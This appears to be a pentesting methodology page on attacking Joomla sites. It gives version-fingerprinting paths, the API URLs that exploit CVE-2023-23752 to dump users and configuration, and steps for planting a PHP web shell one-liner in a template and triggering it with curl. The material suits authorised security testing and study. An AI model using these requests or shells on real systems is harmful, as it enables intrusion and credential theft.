Joomla
Last updated
Last updated
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Joomla collects some anonymous usage statistics such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public API.
Check the meta
robots.txt
README.txt
In /administrator/manifests/files/joomla.xml you can see the version.
In /language/en-GB/en-GB.xml you can get the version of Joomla.
In plugins/system/cache/cache.xml you can see an approximate version.
In 80,443 - Pentesting Web Methodology is a section about CMS scanners that can scan Joomla.
Versions From 4.0.0 to 4.2.7 are vulnerable to Unauthenticated information disclosure (CVE-2023-23752) that will dump creds and other information.
Users: http://<host>/api/v1/users?public=true
Config File: http://<host>/api/index.php/v1/config/application?public=true
MSF Module: scanner/http/joomla_api_improper_access_checks or ruby script: 51334
You can use this script to attempt to brute force the login.
If you managed to get admin credentials you can RCE inside of it by adding a snippet of PHP code to gain RCE. We can do this by customizing a template.
Click on Templates on the bottom left under Configuration to pull up the templates menu.
Click on a template name. Let's choose protostar under the Template column header. This will bring us to the Templates: Customise page.
Finally, you can click on a page to pull up the page source. Let's choose the error.php page. We'll add a PHP one-liner to gain code execution as follows:
system($_GET['cmd']);
Save & Close
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
JoomSploit: Joomla Exploitation Script that elevate XSS to RCE or Others Critical Vulnerabilities. For more info check this post. It provides support for Joomla Versions 5.X.X, 4.X.X, and 3.X.X, and allows to:
Privilege Escalation: Creates an user in Joomla.
(RCE) Built-In Templates Edit: Edit a Built-In Templates in Joomla.
(Custom) Custom Exploits: Custom Exploits for Third-Party Joomla Plugins.
Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
